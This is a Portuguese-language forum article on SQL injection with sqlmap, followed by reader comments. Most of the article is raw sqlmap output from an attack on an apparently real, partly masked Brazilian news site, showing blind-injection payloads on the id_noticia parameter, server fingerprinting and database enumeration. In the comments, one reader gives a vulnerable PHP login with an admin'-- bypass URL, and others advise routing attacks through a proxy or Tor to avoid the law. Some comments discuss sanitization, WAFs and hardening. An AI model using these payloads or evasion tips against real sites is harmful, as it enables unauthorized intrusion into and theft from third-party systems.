SQL injection é uma tática hacker que utiliza uma linguagem bem conhecida: SQL (Structured Query Language) ou Linguagem de Consulta Estruturada, é utilizada pela maioria dos SGDB "software livre" do Brasil e do mundo. Ela pode ser uma solução, ou um problema na vida de um administrador de redes.
O parâmetro [--dbs], pesquisa os banco de dados nos SGBDs.
Código de retorno:
sqlmap/0.9 - automatic SQL injection and database takeover tool
http://sqlmap.sourceforge.net
[*] starting at: 20:31:40
[20:31:40] [INFO] using '/usr/local/lib/python2.7/
site-packages/sqlmap/output/www.????????.XXXX.br/session' as session file
[20:31:40] [INFO] resuming injection data from session file
[20:31:40] [INFO] resuming back-end DBMS 'mysql 5.0.11' from session file
[20:31:41] [INFO] testing connection to the target url
sqlmap identified the following
injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id_noticia
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id_noticia=85' AND 1304=1304 AND 'JTax'='JTax
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id_noticia=85' AND SLEEP(5) AND 'kFej'='kFej
---
[20:31:43] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS: MySQL 5.0.11
[20:31:43] [INFO] fetching database names
[20:31:43] [INFO] fetching number of databases
[20:31:43] [INFO] retrieved: 3
[20:31:51] [INFO] retrieved: information_schema
[20:34:44] [INFO] retrieved: dbcp???
[20:35:48] [INFO] retrieved: dbes??????????
available databases [3]:
[*] dbcp???
[*] dbes??????????
[*] information_schema
[20:37:28] [INFO] Fetched data logged to text files under
'/usr/local/lib/python2.7/site-packages/sqlmap/output/
www.????????.XXX.br'
[*] shutting down at: 20:37:28
Explicando 03
As linhas:
[20:31:43] [INFO] fetching database names
[20:31:43] [INFO] fetching number of databases
[20:31:43] [INFO] retrieved: 3
[20:31:51] [INFO] retrieved: information_schema
[20:34:44] [INFO] retrieved: dbcp??
[20:35:48] [INFO] retrieved: dbes???????
available databases [3]:
Informam os nomes e números de bancos, por questão ética, ocultei algumas letras.
[2] Comentário enviado por jcb em 20/05/2013 - 09:22h
Cristof, show de bola esse post, mas estou com uma duvida ... depois ter "injetado" com o sqlmap, consigo executar tais comandos como UPDATE TABLE, SELECT, WHERE ??
[3] Comentário enviado por cristofe em 20/05/2013 - 10:44h
Olá Jcb,
O SQL injection com SQLmap prova que o sistema tem vulnerabilidades com relação a injeção de sql, por tanto vc pode elaborar query sql para realizar a consulta que acha melhor. Espero ter respondido sua questão.
[5] Comentário enviado por jcb em 20/05/2013 - 14:14h
Cisfote,
seguinte, só vou conseguir executar a query se eu conseguir "quebrar" e ter acesso ao usuário root ou / admin database certo ? só assim terei acesso ao shell para poder executar as query´s!!!
abs,
[3] Comentário enviado por cristofe em 20/05/2013 - 10:44h:
Olá Jcb,
O SQL injection com SQLmap prova que o sistema tem vulnerabilidades com relação a injeção de sql, por tanto vc pode elaborar query sql para realizar a consulta que acha melhor. Espero ter respondido sua questão.
[7] Comentário enviado por cristofe em 20/05/2013 - 14:42h
nao sei o q o colega acima quer dizer com o comentário de SQL tutorial, mas se observar direito tive a preocupação de realizar a instrução para a defesa do ataque e utilzei um ambiente BSD. Não encontrei nenhum artigo nesta base e não encontrei nada demais no blog dele. acho que ele esta tentando dizer que ninguém comentou o vídeo dele e nem assistiu. ;-).
[14] Comentário enviado por roberto_espreto em 26/05/2013 - 18:27h
Concordo com a opinião do "nicolas.cb", este tutorial não explica o por que uma aplicação fica vulnerável a SQLi e sim como utilizar o SQLMap.
E a dica de manter tudo atualizado não quer dizer nada. A aplicação deve fazer a sanitização dos dados de entrada de cada usuário corretamente e saber como tratar sua saída.
Exemplo: Considere o seguinte código abaixo para uma página (login.php) de autenticação simples:
$resultado = pg_query("SELECT * from users WHERE uid = '".$_GET['usuario']."' AND pwd = '".$_GET['password']."';");
if (pg_query($resultado) > 0) {
echo "Login efetuado com sucesso";
user_redireciona_painel_controle();
}
O que acontece se eu passar como parâmetro a seguinte requisição?
http://site/login.php?usuario=admin'--&password=e
Como o DB vai enxergar esta consulta?
pg_query("SELECT * from users WHERE uid = 'admin'--' AND pwd = 'e';");
E agora, consigo executar comandos no db sem usar ferramentas de automação?
[15] Comentário enviado por cristofe em 26/05/2013 - 19:23h
Boa Roberto espreto,
Não entendi muito sobre concordar com o outro rapaz e dica de deixar tudo atualizado, como vc pode ver no início do artigo que vc nao leu todo. A intensão não é esgotar o assunto. Apenas explicar como acontece o ataque. Achei interessante postar. Quem sabe vc com toda a sua sabedoria curiosa dedica um tempo, assim como fiz, e produz algo mais completo. Criticar é fácil. De qualquer forma lhe agradeço.
[16] Comentário enviado por joaocpimenta em 27/05/2013 - 17:31h
"A dica de manter tudo atualizado não quer dizer nada"
Roberto, no caso de CMS (como perguntado acima) Joomla, WP, Drupal...Manter os components atualizados é fundamental, eles viabilizam e facilitam ataques SQLi.
Obviamente não substitui o tratamento do código, mas os bancos de dados default desses CMS muitas vezes negligenciam isso, e como não é do escopo do admin tratar esses bancos, vem a necessidade de manter atualizados os components.
Segue um exemplo de exploração em cima de components desatualizados.
[17] Comentário enviado por roberto_espreto em 27/05/2013 - 22:45h
cristofe,
Não me leve a mal, só quis dizer que não concordei com o título do artigo. Acho que deveria ser do tipo: "Explorando SQLi com SQLMap". Ao final falei que ficou bom. :)
Se você escrever para alguém com conhecimento mais crítico (exemplo, professor), a primeira coisa que ele irá perguntar será: Mas o que é SQL Injection? Imagina em um TCC. :)
joaocpimenta,
Quando disse: "A dica de manter tudo atualizado não quer dizer nada", realmente não significa muita coisa (mas deve ser feito, claro), pois existem novas vulnerabilidades que são descobertas em softwares "atualizados", os chamados 0-day. Ou seja, existe uma forma de explorar o software e ainda não existe correção para tal. Como me defendo contra este tipo de vulnerabilidade (0-day)? Existem N fatores que trabalham em conjunto em uma empresa/organização para minimizar estes riscos, exemplo, firewall de aplicação (Web Application Firewall - WAF), segmentação de ambientes, hardening de sistema operacional etc. A dica de atualização, é apenas uma, dentre várias.
[18] Comentário enviado por cristofe em 27/05/2013 - 23:05h
Ok Roberto esperto, sem problemas. Se observar não tive realmente a intenção de esgotar o assunto, haja vista que é tenso. Todavia, o foco era mesmo o SQLMap. Não entendi o q há com o título, mas esquenta não. Somente um toque, pois as pessoas que escrevem para o VOL não ganham nada, e fazem de bom agrado.
Há Sim, deixa eu te, falar sou Professor do Instituto Federal e contribuo com o VOL desde 2006 e nunca agradei a todos. É assim mesmo !!
Forte Abraco !!!
[19] Comentário enviado por joaocpimenta em 28/05/2013 - 00:06h
[11] Comentário enviado por joaocpimenta em 22/05/2013 - 11:11h:
[10] Comentário enviado por leorocco em 21/05/2013 - 22:31h:
"É 'velho', TI não é fácil." hehe
Valeu pelo artigo, cristofe!
Mas, qual a melhor maneira de se proteger quando se usa um CMS?
Os fatores de tratamento e preocupações com o código da aplicação quanto a segurança permanecem os mesmos quando se utiliza um CMS.
Além disso, os componentes e plugins do CMS devem estar sempre atualizados. Um firewall de aplicação é sempre bem vindo.
Com certeza manter os components atualizados é uma das muitas coisas a se fazer... o WAF é uma boa, como eu havia sugerido também...
Por isso eu reforço: são N ações preventivas que não eliminam umas as outras. Um WAF não elimina a necessidade de Hardening, o Hardening não elimina a necessidade de código seguro e por aí vai...
No caso dos CMS, reforcei o aspecto de atualização, porque qualquer Zé pode rodar um exploit pronto contra uma vulnerabilidade conhecida e ter eficácia num dump de base por exemplo. É uma situação comum.
Já um 0 day é muito mais raro, mas obviamente não pode ser descartado.
Enfim... Segurança são muitos aspectos, citamos alguns superficialmente.
[20] Comentário enviado por silent-man em 28/05/2013 - 16:34h
Eu ia comentar sobre o 0 day, mas já adiantaram. Além do mais, acredito que estão desviando o foco do ARTIGO.
Aos "hackudos", como bem colocou o autor do artigo: "Sem esquecer da nossa Maria da Penha e a Lei "Carolina Dieckmann", não esqueçam de utilizar um proxy
[21] Comentário enviado por Rafaelmspc em 29/05/2013 - 17:01h
A opção do sqlmap --proxy=http://ip:porta e ainda se for usar tor, a opção. --tor.
[20] Comentário enviado por silent-man em 28/05/2013 - 16:34h:
Eu ia comentar sobre o 0 day, mas já adiantaram. Além do mais, acredito que estão desviando o foco do ARTIGO.
Aos "hackudos", como bem colocou o autor do artigo: "Sem esquecer da nossa Maria da Penha e a Lei "Carolina Dieckmann", não esqueçam de utilizar um proxy